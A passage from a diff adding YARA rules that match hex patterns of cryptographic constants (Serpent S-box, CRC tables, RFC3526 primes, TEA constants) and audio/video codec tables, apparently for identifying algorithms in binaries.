d68680fd0d5d01a681a1aca347219ae82aeaeb7412cc9b4eab4b47d755e9a544d5454cea819ec937693937f3be50d228822222f44aa07648d646463c8e9dbf1e3f1f12aff12bf73d17373cce6a2901248121282245a3a401d40407a805d400820080848102856c32bc3c3959be833ec97ececdfc57b96db4bdbdb4dab9061a1bea1a1c05f1f1c8d0e8d8d910783f53df43d3dc87ac9cc976697975b33f1000000000000000036cf1bcfcff983d4452bac2b2b6e56879776c57676e1ecb36482328282e619b0fed67fd6d628b1a9d81b6c1b1bc33677c1b5eeb5b574775b11af86afafbe4329776ab56a6a1dd4dfba505d5050eaa00d1245094545578a4ccbf3ebf3f338fb189d30c03030ad60f02bef9befefc4c374e53ffc3f3fda7ec39255495555c7aa1c79a2b2a2a2db591003ea8feaeae9c9650f658965656acaecb9bad2baba036968652fbc2f2f4a5e934ec027c0c08e9de7bede5fdede60a181e01c701c1cfc386cbbfdd3fdfd46e72e524d294d4d1f9a64e4927292927639e08f75c97575faeabc3006180606360c1e248a128a8aae0998f9b2f2b2b24b794063e6bfe6e685d159700e380e0e7e1c36f81f7c1f1fe73e63376295626255c4f7eed477d4d43ab5a329a89aa8a8814d32c4966296965231f49bf9c3f9f962ef3a66c533c5c5a397f63525942525104ab1f259795959abb22054842a8484d015aeb772d57272c5e4a7d539e43939ec72dd5a4c2d4c4c169861ca5e655e5e94bc3be778fd78789ff085dd38e03838e570d8148c0a8c8c980586c6d163d1d117bfb241a5aea5a5e4570b43e2afe2e2a1d94d2f619961614ec2f8f1b3f6b3b3427b4515218421213442a5949c4a9c9c0825d6f01e781e1eee3c66224311434361865276c73bc7c7b193fcb3fcd7fcfc4fe52b2004100404240814b251595151e3a208bc995e9999252fc74f6da96d6d22dac4680d340d0d651a3983facffafa79e935b6df5bdfdf69a384d77ee57e7ea9fc9b3d249024241948b4c53bec3b3bfe76d731ab96abab9a4b3d3ece1fcecef081d188114411119922550c8f068f8f8303894a4e254e4e049c6bd1b7e6b7b76673510beb8bebebe0cb60fd3cf03c3cc178cc7c813e8181fd1fbfd4946a94944035feebf7fbf7f71cf30ca1b9deb9b9186f6798134c13138b265f7d2cb02c2c51589cd6d36bd3d305bbb86be7bbe7e78cd35c576ea56e6e39dccb6ec437c4c4aa95f318030c03031b060f8a56455656dcac131a440d44445e8849df7fe17f7fa0fe9e21a99ea9a9884f374d2aa82a2a675482b1bbd6bbbb0a6b6d46c123c1c1879fe2a253515353f1a602aedc57dcdc72a58b580b2c0b0b5316279c9d4e9d9d0127d3476cad6c6c2bd8c19531c43131a462f58774cd7474f3e8b9e3f6fff6f615f1090a460546464c8c4309ac8aacaca545263c891e8989b50f97a014501414b428445be1a3e1e1badf42b016581616a62c4ecd3ae83a3af774d26f69b9696906d2d0480924090941122da770dd7070d7e0add9b6e2b6b66f7154ced067d0d01ebdb73bed93ededd6c77e2ecc17cccce285db2a42154242688457b4985a98982c2dc249a4aaa4a4ed550e5d28a02828755088da5c6d5c5c86b83193f8c7f8f86bed3f4486228686c211a4 }
+	$a1 = { 781828181878d8c0af23652323af2605f9c657c6c6f9b87e6fe825e8e86ffb13a187948787a1cb4c62b8d5b8b86211a905010301010509086e4fd14f4f6e0d42ee365a3636ee9bad04a6f7a6a604ff59bdd26bd2d2bd0cde06f502f5f5060efb80798b79798096efce6fb16f6fce305fef91ae9191ef6dfc0752f6525207f8aafd60a06060fd472776bcd9bcbc763589cd9bb09b9bcd37ac8c8e8f8e8e8c8a0415a3f8a3a315d2713c0c140c0c3c6c608a7b8d7b7b8a84ffe1355f3535e180b5691d271d1d69f5e847e03de0e047b353acd764d7d7ac21f6edc25bc2c2ed9c5e962e722e2e96436d7a4bdd4b4b7a296221fe1ffefe215da31657f9575716d58241153f151541bda8b677997777b6e89feb37593737eb92a556e532e5e5569e7bd99fbc9f9fd9138c17f00df0f01723d37f4ade4a4a7f206a95da73dada95449e2558e8585825a2facac946c9c9cacf068d297b29298d7c55220a1e0a0a225a504fb1ceb1b14f50e11aa0fda0a01ac969da6bbd6b6bda147fab85928585abd95c73bddabdbd733c81345de75d5d348fd2501030101050908003f401f4f40307f3c0cb40cbcbc0dd16c63e423e3ec6d3ed11050f0505112d28e667a96767e6781f53e431e4e4539773bb27692727bb02255841c341415873329d8b808b8b9da72c01a7f4a7a701f651947d877d7d94b2cffb95a29595fb49dc9fd875d8d89f568e30fb10fbfb30708b71ee2feeee71cd23917c847c7c91bbc7e366aa6666e371178edd7adddd8e7ba64b173917174bafb84647c94747464502dc9ebf9e9edc1a84c5ca43cacac5d41e992d772d2d99587579bfdcbfbf792e911b070907071b3f3823adeaadad23ac012f5aee5a5a2fb0eab583988383b5ef6cff33553333ffb685f263a56363f25c3f0a020602020a121038aae3aaaa389339a871937171a8deafcfc845c8c8cfc60e7d192b19197dd1c87049db4949703b729ad976d9d99a5f861df20bf2f21d31c348e338e3e348a84b2a5bed5b5b2ab9e2928885888892bc34c89ab39a9ac83ea4be266a2626be0b2dfa32563232fabf8d4ab0cdb0b04a59e96ae926e9e96af21b330f110f0f337778a6d562d5d5a633e6ba809d8080baf4747cbedfbebe7c2799decd4acdcddeeb26e4345c3434e489bd7548d8484875327a24ff1cffff2454ab8f7a8e7a7a8f8df7ea90ad9090ea64f43e5fe15f5f3e9dc2a020602020a03d1dd568b86868d50f67721a2e1a1a72cad02caeefaeae2cb7195eb4c1b4b45e7dc91954fc545419ce9ae593a89393e57fecaa22662222aa2f0de964ac6464e9630712f10ef1f1122adba273957373a2ccbf5a123612125a82905d40c040405d7a3a2808180808284840e8c358c3c3e895567bec29ecec7bdf3390db70dbdb904d961fa1fea1a11fc061838d8a8d8d83911cc93d473d3dc9c8f5f197a49797f15bcc0000000000000000d4cf4ccfcfd4f936872b7d2b2b876e45b3769a7676b3e197b0829b8282b0e664a9d667d6d6a928fe771b2d1b1b77c3d85bb5c2b5b55b74c129afecafaf29be11df6abe6a6adf1d770d50f050500deaba4c45cf45454c571218f308f3f31838cbf030503030f0ad9d74ef2cefef74c42bc33f413f3fc3dae51c55ff55551cc79210a2fba2a210db7965ea23eaea65e903ec65af6565ec6a0f68bad3baba6803b9932f712f2f934a65e7c05dc0c0e78e4e81de7fdede8160be6c1c241c1c6cfce02efd1afdfd2e46bb644dd74d4d641f52e092ab9292e076e4bc759f7575bcfa8f1e060a06061e3630988a838a8a98ae2440b2cbb2b2404bf959e637e6e6598563360e120e0e367e70631f211f1f63e7f8f762a66262f75537a3d461d4d4a33aee32a8e5a8a8328129f496a79696f452c43af916f9f93a629bf6c552c5c5f6a366b1256f2525b110352059eb595920abf2ae84918484aed054a772967272a7c5b7dd394b3939ddecd5614cd44c4c61165a3b5ee25e5e3b94ca8578887878859fe7d838483838d8e5dd868c898c8c869814b2d16ed1d1b217c60ba5f2a5a50be4414de23be2e24da143f861a36161f84e2f45b3c8b3b34542f1a521632121a53415d69cb99c9cd60894661e221e1e66eef05243c54343526122fcc754c7c7fcb1762bfc19fcfc2b4fb314040c04041424200851f3515108e3b2c799b69999c725bcc46db76d6dc4224f390d170d0d39656835fa13fafa35798384df7cdfdf8469b69b7e827e7e9ba9d7b4246c2424b4193dd73b4d3b3bd7fec53dabe0abab3d9a31d1ce4fceced1f03e5511331111559988898f8c8f8f89830c6b4ed24e4e6b044a51b7c4b7b75166d160eb20ebeb60e00bcc3c443c3cccc1fdbf819e8181bffd7cfe94a19494fe40d40cf704f7f70c1ceb67b9d6b9b96718a15f133513135f8b989c2c742c2c9c517db8d368d3d3b805d65ce734e7e75c8c6bcb6eb26e6ecb3957f3c451c4c4f3aa6e0f030503030f1b181356fa565613dc8a4944cc4444495e1a9e7f817f7f9ea0df37a9e6a9a9378821822a7e2a2a82674d6dbbd0bbbb6d0ab1e2c15ec1c1e287460253f5535302f1a28bdc79dcdc8b72ae270b1d0b0b275358d39dba9d9dd3019cc16cb46c6cc12b47f531533131f5a495b9749c7474b9f38709f607f6f60915e34346ca4646434c0a26ace9acac26a509978986898997b53c44143c141444b4a042e13ee1e142ba5b4e163a16164ea6b0d23a4e3a3ad2f7cdd069bb6969d0066f2d091b09092d4148ad70907070add7a754b6c7b6b6546fd9b7d06dd0d0b71ece7eed2aeded7ed63bdbcc49ccccdbe22e5742c6424257682ac298b59898c22cb40ea4f1a4a40eed49882878282888755d315ce45c5c3186da3ff815f8f83f6b93a486978686a4c244 }
+
+condition:
+	$a0 and $a1
+}
+
+	
+rule libavcodec_DV_dv_iweight_88__32_lil_256_
+{
+strings:
+	$a0 = { 008000004641000046410000474500007742000047450000154700009f4600009f46000015470000254900007f480000fc4a00007f48000025490000544b0000a44a0000ec4c0000ec4c0000a44a0000544b000098530000bd4c0000264f0000f64e0000264f0000bd4c000098530000cd58000055550000835100004f5100004f5100008351000055550000cd580000855a0000855a0000985300009853000098530000855a0000855a000018600000d45c00000156000001560000d45c000018600000b3620000895f000090580000895f0000b3620000736500006762000067620000736500005b6800003a6d00005b680000ca730000ca730000307b0000 }
+
+condition:
+	$a0
+}
+
+	
+rule _Point_Equiripple_FIR_Low_Pass_Filter__flt64___64_lil_128_
+{
+strings:
+	$a0 = { 9227a7ff2ee883bfb30d0de0758a85bf02eb6edebc1881bf27d209a25f34433f4a833fe183ce8a3f5c7e2fdfe439963f17b8873faddb923ffe12b92c9b43363fc5a4d29fa3b49abf0c5644202a53a7bf94290fa019a3a4bf102c6ad7547b403f0a6bdb1f4cabb23fb96700a0281fc43f8d9df95feac3cc3f2f650900c808d03f }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_AAC_Fraunhofer_sfb_8_120__16_big_30_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c0024002c0034003c00480058006c0078 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap2__16_lil_96_
+{
+strings:
+	$a0 = { D7D0600295E44E02A00F6503241A493DDEE7E9DBB6FF85003F0723FC745098F485EEE10056FBC3F0CBFC5AE695FCB6B036F593F302F009EACFBD25260B06B71ABC07094FD1FB86EC4D1805BA74EA7A1866018A04A90ED6FBBB1065F3383ECA27 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_PRIME_256V1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { c49d360886e704936a6678e1139d26b7819f7e90 }
+
+condition:
+	$a0
+}
+
+	
+rule MBC1_iv_tbl__32_big_256_
+{
+strings:
+	$a0 = { fa5d7cec734533f8484ea4b22bf0e46ba853884bcbe7dee0976df92ae2b17575f9bc1efdf8adc5732e5b6ea91c5a4ffd3df277622d7bf0bd039d26d60a937d0901052bc28aeeea1cfb7d3ebe2449a18217b71ba3c6e6895574c7a0cde1b887454d71958c149ceb885344e0b9c3f0a21fa348429bf672c8cdd01fa55c4c6fd3dfc05b564ee0d81861a3b3eaac17ae4a089d8df3bf1353cbfe25c0f1c8d52818ec1ba102b0c2fdc3949ab0505ef8d5f8cb708749da34c5d60bd1c046b04c8e46720e236a845a36c5abdc9b9eb50adb571857d27cc5c4ecaefdb57c0d9e764e92ea4ca01ed6a7314405ee5e6b4bf9560189c50cd4d5bfe0afd88322f98465601b60 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_Phi_Fract_Qmf__flt64___64_big_1024_
+{
+strings:
+	$a0 = { 3fea2e486004e7343fe266716001acdabfd0e34bc006909f3feedda78001db06bfefe6bf20032e1c3fb415e53fd9608ebfda56405ff6c88fbfed2a37400306623fe6fae400006714bfe644eae003167d3fecbca46005c9fa3fdc27f6a006a574bfbc178c4000255e3fefce873fffe93dbfef1da78001db063fcde189a017dc16bfe1919840042549bfeabeef20056f5b3fe336a48001b6f2bfe997043ff9c1d83fee95db3ffeb4003fd2d18e7ffef6923fa81e56401e40413feff6e7e0013a9bbfed906bbfff7a6d3fd87de29ff486e3bfe589517ffa6130bfe7ab0ee00157d03fddf28fe003f78cbfec47cee0037d913fefae462002a6643fc2090d3ff1970d3fc9f4ef2008def73fef55cb1ffe9702bfeb48d4000316463fe0b84edffbc272bfe8f9493ffb47d3bfe401fcdffec78b3fd4bb101ffaf594bfee4654bffcae073feffefd400204afbf9015943f5149803fd69f54fff9af603fedef286001ae92bfe8553ee00029723fe4c8473ff977f8bfebcbd45ffc0497bfdfb5983ffd46113fc601c5dff70ab4bfef8603fffcc07f3fef8603fffcc07fbfc601c5dff70ab43fdfb5983ffd46113febcbd45ffc0497bfe4c8473ff977f83fe8553ee0002972bfedef286001ae92bfd69f54fff9af603f9015943f514980bfeffefd400204af3fee4654bffcae07bfd4bb101ffaf5943fe401fcdffec78b3fe8f9493ffb47d3bfe0b84edffbc2723feb48d400031646bfef55cb1ffe9702bfc9f4ef2008def7bfc2090d3ff1970dbfefae462002a6643fec47cee0037d91bfddf28fe003f78c3fe7ab0ee00157d03fe589517ffa6130bfd87de29ff486e33fed906bbfff7a6dbfeff6e7e0013a9bbfa81e56401e4041bfd2d18e7ffef692bfee95db3ffeb4003fe997043ff9c1d8bfe336a48001b6f23feabeef20056f5b3fe1919840042549bfcde189a017dc163fef1da78001db06bfefce873fffe93d3fbc178c4000255ebfdc27f6a006a574bfecbca46005c9fa3fe644eae003167dbfe6fae4000067143fed2a37400306623fda56405ff6c88fbfb415e53fd9608e3fefe6bf20032e1cbfeedda78001db063fd0e34bc006909fbfe266716001acdabfea2e486004e7343fe266716001acdabfea2e486004e7343feedda78001db063fd0e34bc006909f3fb415e53fd9608e3fefe6bf20032e1cbfed2a37400306623fda56405ff6c88fbfe644eae003167dbfe6fae4000067143fdc27f6a006a574bfecbca46005c9fa3fefce873fffe93d3fbc178c4000255e3fcde189a017dc163fef1da78001db06bfeabeef20056f5b3fe1919840042549bfe997043ff9c1d8bfe336a48001b6f23fd2d18e7ffef692bfee95db3ffeb4003feff6e7e0013a9bbfa81e56401e40413fd87de29ff486e33fed906bbfff7a6dbfe7ab0ee00157d03fe589517ffa6130 }
+
+condition:
+	$a0
+}
+
+	
+rule All_Seeing_Eye_UDP_packets_decoding_encoding_algorithm__32_lil_1024_
+{
+strings:
+	$a0 = { 7471f90f68d49b1f6999843773ae894e20f42b61639cd7676f65776d64db5a746533ea7b20e64c836950798973bf458f2072a896732fc29e74ab3fa66f4d51ac6c6567b2653941b86e6ce2bf20b697c766226acc72fb2fcf6f4cfad16d43ebd520a0e9d954ca48dc68b4b1dc65b111dd20d67cdd416f4cde6c9ad4de6c5615df2d895adf5337c1df654618e0655052e069b97ce06e359ee067c8d3e020bf16e1452941e1796960e165337be1209ca5e128f4d8e1634b0ce229b436e220b953e255836ee244c8aae250cdc7e220adf6e2537711e36f7c2ee3663352e3749c7ce320189ee34ce6d5e35462f7e3446714e42ef52ce420714ee468b16de474569ae47484c2e47089dfe43a0501e52f9319e52f5c34e5773c63e5779496e5775db1e52e9ed0e57567ebe5643006e670ac27e6739f4de66f1b6fe6666d85e674fb9de62ec4b8e663c9d5e66f1cece66de506e731381de780783ce75b7d59e7ddcf6fe7df749ce7d402b5e72343d4e7a495eae766110ce85b9f24e836a441e852d269e8d42480e8c8b298e8bd40b1e84caadbe84138f4e8c28a0ae944dd20e9799444e9fae65ae9d6eb77e9242c97e9a67eade90e48c8e9e94ce5e96a9ffbe95f2d14ea54bb2ceabc8447ea3dd75deabe2974ea0d6a93ea8fbca9ea834ac2ea059dd8ea86efeeea074205eb89941beb0ae731eb3f9e55ebc1f06beb424382ebc39598eb9f9ab5eb20edcbeba13fe2ebd7f605eccb841eec4dd734ecce294becc3b763ec440a7aecc55c90ec47afa6ecc801bdec4a54d3eccba6e9ec4cf9ffecce4b16eda95033ed2aa349ed1f3162eda08378ed22d68eeda328a5ed247bbbeda6cdd1ed2720e8eda872feed2ac514eeab172bee2c6a41eeaebc57ee2f0f6eeeb06184ee32b49aeeb306b1ee3459c7eeb6abddee37fef3eeb9500aef3aa320efbbf536ef3d484defbe9a63ef3fed79efc13f90ef4292a6efc3e4bcef4537d3efc689e9ef47dcffefc92e16f04a812cf0cbd342f04d2659f0ce786ff0c30688f044599ef0c5abb4f047fecaf0c850e1f04aa3f7f0cbf50df14c4824f1ce9a3af14fed50f1d03f67f152927df1ba5b98f13baeaef1bc00c5f13e53dbf1bfa5f1f140f807f2c24a1ef2439d34f2c4ef4af2464261f2c79477f248e78df2ca39a4f24b8cbaf2ccded0f24e31e7f2cf83fdf250d613f3d2282af3537b40f3480959f33d9771f3bee987f33f3c9ef3c18eb4f3b51ccdf3376fe3f3b8c1f9f3391410f4bb6626f43cb93cf4bd0b53f43f5e69f4c0b07ff4410396f4c355acf444a8c2f4c5fad8f4474deff4c89f05f549f21bf5cb4432f54c9748f5cee95ef54f3c75f5d08e8bf552e1a1f5d333b8f55486cef5d6d8e4f5572bfbf5d87d11f65ad027f6db223ef65c7554f6dec76af65f1a81f6e06c97f662bfadf6e311c4f66464daf6ffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_toast_ulaw_u2s__16_lil_512_
+{
+strings:
+	$a0 = { 00820486088a0c8e11921596199a1d9e21a226a62aaa2eae32b237b63bba3fbe42c144c347c549c74bc94dcb4fcd51cf53d155d358d55ad75cd95edb60dd62dfe4e0e5e1e6e2e7e3e8e4e9e5eae6ebe7ece8ede9eeeaefebf0ecf1edf3eef4efb4f035f1b5f136f2b6f237f3b8f338f4b9f439f5baf53af6bbf63bf7bcf73cf89df8ddf81df95ef99ef9def91efa5ffa9ffadffa1ffb60fba0fbe0fb20fc61fc91fcb1fcd1fcf1fc11fd32fd52fd72fd92fdb2fdd2fdf2fd12fe33fe53fe73fe8bfe9bfeabfebbfecbfedbfeebfefbfe0bff1cff2cff3cff4cff5cff6cff7cff88ff90ff98ffa0ffa8ffb0ffb8ffc0ffc8ffd0ffd8ffe0ffe8fff0fff8ff0000007efc79f875f471ef6deb69e765e361df5dda59d655d251ce4dc949c545c141be3ebc3cb93ab738b536b334b132af30ad2eab2ca82aa628a426a224a0229e201c1f1b1e1a1d191c181b171a16191518141713161215111410130f120d110c104c0fcb0e4b0eca0d4a0dc90c480cc80b470bc70a460ac6094509c5084408c40763072307e306a20662062206e205a10561052105e104a00460042004e0039f036f034f032f030f03ef02ce02ae028e026e024e022e020e02ee01cd01ad018d0175016501550145013501250115010501f500e400d400c400b400a400940084007800700068006000580050004800400038003000280020001800100008000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_140__16_lil_240_
+{
+strings:
+	$a0 = { 460ecc0c6d0b280afc08e807eb06040632057404c9033003a8023002c7016c011e01dc00a500780054003800230014000a000400010000000000000096017a015f0145012c011401fd00e700d200be00ab0099008800780069005b004e00420037002d0024001c0015000f000a00060003000100000000001d001c001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a000900080007000600050004000300020001000000010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100 }
+
+condition:
+	$a0
+}
+
+	
+rule celptb1__32_big_1536_
+{
+strings:
+	$a0 = { 0000009a0000009c00000017000000080000000200000086000000aa000000ac00000017000000080000000200000096000000ba000000bc000000170000000800000002000000a600000093000000950000001700000008000000020000007f0000009c0000009e00000017000000080000000200000088000000a5000000a70000001700000008000000020000009100000072000000740000001700000008000000020000005e000000780000007a000000170000000800000002000000640000007e000000800000001700000008000000020000006a0000008400000086000000170000000800000002000000700000008a0000008c000000170000000800000002000000760000008e000000900000001700000008000000020000007a00000092000000940000001700000008000000020000007e0000009a0000009c00000017000000080000000200000086000000a6000000a800000017000000080000000200000092000000ae000000b00000001700000008000000020000009a000000b6000000b8000000170000000800000002000000a2000000be000000c0000000170000000800000002000000aa000000c6000000c8000000170000000800000002000000b2000000ce000000d0000000170000000800000002000000ba000000d2000000d4000000170000000800000002000000be000000d6000000d8000000170000000800000002000000c20000006e000000700000001700000008000000020000005a00000072000000740000001700000008000000020000005e000000760000007800000017000000080000000200000062000000780000007a000000170000000800000002000000640000007a0000007c00000017000000080000000200000066000000ba000000bc000000170000000800000002000000a6000000da000000dc000000280000000800000002000000ae000000e6000000e8000000280000000800000002000000ba000000f2000000f4000000280000000800000002000000c6000000fe00000100000000280000000800000002000000d20000010a0000010c000000280000000800000002000000de0000011600000118000000280000000800000002000000ea0000011e00000120000000280000000800000002000000f20000012600000128000000280000000800000002000000fa0000013e000001400000002800000008000000020000011400000156000001580000002800000008000000020000012a00000166000001680000002800000008000000020000013a00000176000001780000002800000008000000020000014a00000186000001880000002800000008000000020000015a00000196000001980000002800000008000000020000016a000001a6000001a80000002800000008000000020000017a000000880000008a0000002800000008000000020000005c0000008e00000090000000280000000800000002000000620000009400000096000000280000000800000002000000680000009a0000009c0000002800000008000000020000006e000000a0000000a200000028000000080000000200000074000000a6000000a80000002800000008000000020000007a000000aa000000ac0000002800000008000000020000007e000000ae000000b000000028000000080000000200000082000000ba000000bc0000002800000008000000020000008e000000c6000000c80000002800000008000000020000009a000000ce000000d0000000280000000800000002000000a2000000d6000000d8000000280000000800000002000000aa000000de000000e0000000280000000800000002000000b2000000e6000000e8000000280000000800000002000000ba000000ee000000f0000000280000000800000002000000c2000000d8000000da000000280000000800000002000000ac000000a0000000a200000028000000080000000200000074000001180000011a000000280000000800000002000000ee000001520000015400000028000000080000000200000128000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule _1536_bit_MODP_Group__from_RFC3526__Section_2___8_byt_192_
+{
+strings:
+	$a0 = { ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca237327ffffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain2__flt64___64_lil_64_
+{
+strings:
+	$a0 = { 000000000080f03f0000000000e0fc3f185c220000440940771df3ff7f1b1640000000000080f0bf0000000000e0fcbf185c2200004409c0771df3ff7f1b16c0 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_48_512__16_lil_72_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c003000340038003c0044004c0054005c00640070007c0088009400a400b800d000ec000c012c014c016c018c01ac01cc010002 }
+
+condition:
+	$a0
+}
+
+	
+rule Serpent_crypto_SBox__8_byt_512_
+{
+strings:
+	$a0 = { 03080f010a06050b0e0d04020700090c0f0c02070900050a010b0e08060d030408060709030c0a0f0d010e04000b0502000f0b080c0906030d0102040a07050e010f08030c000b060205040a090e070d0f05020b040a090c00030e080d06070107020c050804060b0e09010f0d030a00010d0f000e08020b07040c0a0903050603080f010a06050b0e0d04020700090c0f0c02070900050a010b0e08060d030408060709030c0a0f0d010e04000b0502000f0b080c0906030d0102040a07050e010f08030c000b060205040a090e070d0f05020b040a090c00030e080d06070107020c050804060b0e09010f0d030a00010d0f000e08020b07040c0a0903050603080f010a06050b0e0d04020700090c0f0c02070900050a010b0e08060d030408060709030c0a0f0d010e04000b0502000f0b080c0906030d0102040a07050e010f08030c000b060205040a090e070d0f05020b040a090c00030e080d06070107020c050804060b0e09010f0d030a00010d0f000e08020b07040c0a0903050603080f010a06050b0e0d04020700090c0f0c02070900050a010b0e08060d030408060709030c0a0f0d010e04000b0502000f0b080c0906030d0102040a07050e010f08030c000b060205040a090e070d0f05020b040a090c00030e080d06070107020c050804060b0e09010f0d030a00010d0f000e08020b07040c0a09030506 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_old_11_tap_filter__flt64___64_lil_88_
+{
+strings:
+	$a0 = { 898ef032e35b803fc1c4715f6b99943fe4f29f3141aea9bfd7b9304c19cdbfbfe8799c0ce9b2d23f2a12159dafa9e63fe8799c0ce9b2d23fd7b9304c19cdbfbfe4f29f3141aea9bfc1c4715f6b99943f898ef032e35b803f }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_CCITT_poly_0x87__8_byt_refl_True_
+{
+strings:
+	$a0 = { 002f5e71bc93e2cdbb94e5ca07285976b59aebc4092657780e21507fb29decc3a986f7d8153a4b64123d4c63ae81f0df1c33426da08ffed1a788f9d61b34456a91becfe02d02735c2a05745b96b9c8e7240b7a5598b7c6e99fb0c1ee230c7d523817664984abdaf583acddf23f10614e8da2d3fc311e6f40361968478aa5d4fbe1cebf905d72032c5a75042be6c9b897547b0a25e8c7b699efc0b19e537c0d2248671639f4dbaa85f3dcad824f60113efdd2a38c416e1f3046691837fad5a48b705f2e01cce392bdcbe495ba77582906c5ea9bb4795627087e51200fc2ed9cb3d9f687a8654a3b14624d3c13def180af6c43321dd0ff8ea1d7f889a66b44351a }
+
+condition:
+	$a0
+}
+
+	
+rule DESX_pc2__8_byt_48_
+{
+strings:
+	$a0 = { 0d100a170004021b0e05140916120b0319070f061a130c0128331e242e361d27322c202f2b30263721342d2931231c1f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_huffyuv_classic_shift_luma__8_byt_43_
+{
+strings:
+	$a0 = { 2224234587e809100a180b170c100d0a0e080f0810081114100acfcecdec0b080a1509170808c746454400 }
+
+condition:
+	$a0
+}
+
+	
+rule TEA_encryption_decryption__0xc6ef3720__0x9e3779b9___32_big_AND_
+{
+strings:
+	$a0 = { c6ef3720[0-20]9e3779b9 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_wma_lsp_codebook__flt32___32_lil_544_
+{
+strings:
+	$a0 = { ca60fe3f775efd3fa563fc3fa836fb3f2da6f93f6178f73fe11ef43f3453ee3f287efc3f88fcfa3fe593f93f6712f83fd86bf63f397ef43fa637f23f408def3f333eec3f6923e83f8b5ae33f90c7dd3f0cecd63f1207ce3fdc0fc13fdf64aa3ff456f33f90b2ee3ff5c6ea3f999de63fb61ce23f7434dd3ff7aed73fc095d13fcce1ca3f3f4cc23f08e9b73fed74ab3f0ff29e3f98b18f3fddad773f45903d3ff77ce23f11d0d63f3abbcc3fbb8ec43f3bc3bc3fbfbfb43f162cac3f9cfea23f79b5983fda7f8c3fd6f97c3f3e555f3f95623e3fad01193ffd05dd3eaf15383e9a96b73f5402a93f8ef99a3f328a8d3f13b8803f8d42673f83eb4d3f4a04353fb3b11a3f450cff3e392bc53e6dc98a3e2d88133ec71e103bf4432bbede1cbdbea3bb7f3f8e85573f2c21353fab3d143fabecf03e5745bd3e395a893ec5c02f3ebca0933d6ceafabc743fb3bf0aa980be0d89bebeefc002bfae1c26bfac964dbf1cc2873e314d813d40b3b5bdaf1958bea6139fbecb29cbbec0c8f1bef9aa0abf6d4c1dbfb67e30bf9b0b44bf11095abfa4f073bfbd5688bff3409abf9526b0bf51160abf84da3cbf205e62bf536e81bf562391bfae57a2bf51d0b5bf4667cfbfd7008dbfd62295bf1cdf9dbf31eea6bf8435b0bf11f9bbbfd2c2c9bfb59fd5bf69a4c5be4a620fbf05772bbf05a242bf5ba556bf4f9f68bfe25d79bfc4ba84bf97ddc7bf8a68d4bff50addbf6da8e3bf4838e9bf985ceebf4190f3bfc65ef9bf }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_7__16_lil_16_
+{
+strings:
+	$a0 = { f0cef9e4bbf64606f514ff236f358d4a }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc8_cnk_lost__32_lil_2108_
+{
+strings:
+	$a0 = { 000000000000000001000000000000000300000002000000010000000000000007000000060000000500000004000000030000000200000001000000000000000f0000000e0000000d0000000c0000000b0000000a000000090000000800000007000000060000000500000004000000030000000200000001000000000000001f0000000000000000000000010000000200000006000000010000000b000000040000001c00000013000000090000003e00000032000000250000001700000008000000780000006700000055000000420000002e0000001900000003000000ec000000d4000000bb000000a1000000860000006a0000004d0000002f000000100000000000000000000000000000000000000000000000060000000c0000001d000000080000002c000000080000005b00000024000000e20000009400000039000000d001000058010000d0000000370000008c030000ce020000fc010000150100001800000004070000d80500009304000034030000ba01000024000000710e0000a00c0000000000000000000000000000000000000000000003000000010000001d0000003a000000020000002e000000b6000000110000003501000017000000ab020000e4000000b40600000c040000dc000000130d00009f0800006d030000691d00007e160000960e00009a050000723b00000530000039230000f31400001705000088730000000000000000000000000000000000000000000000000000020000000b00000008000000020000000400000032000000e8000000f90200002e00000045040000f00e0000d4070000881e0000941200007003000083300000221900008f7c0000f8590000763000000cff0000a6c40000188000001d30000056d301004968010060ed00000000000000000000000000000000000000000000000000000000000001000000040000002c0000002e00000032000000640000004c01000045040000730c0000b8000000a80f00007c3700000416000098680000082c00008bdc0000ad7500003cf20100344c0100aa7c0000b67b03005c40020074c0000091f00600e7c30400302c02000000000000000000000000000000000000000000000000000000000000000000000000001c00000008000000b6000000e80000004c01000098020000dd0600005013000008340000b00300002c3b000030d10000c8390000d06501005b42000008b8020044aa000078f6050022730200d8ee0d00342f0800a8ef000039e0170020a40c0000000000000000000000000000000000000000000000000000000000000000000000000007000000130000005b00000011000000f902000045040000dd060000ba0d00000a21000012550000c2d80000ee1300001ee50000e61e0300b684000011c70400197f0f005d290800d51f1e00f7921000cf813e0003b12600aba00700e4805f0000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000900000024000000350100002e000000730c0000501300000a2100001442000026970000e86f0100d6830300f4680000da870300900c0c00a1d30000ba521000177c3800ec9b1600e32e6700b2b02500b561cc00600254000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050000003e000000e20000001700000045040000b80000000834000012550000269700004c2e0100349e02000a220600fe8a0e00d8120200681f0e0009f32e00c3457f00dac13700c65dce00a98c35005b3d5b01109f2700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000003200000094000000ab020000f00e0000a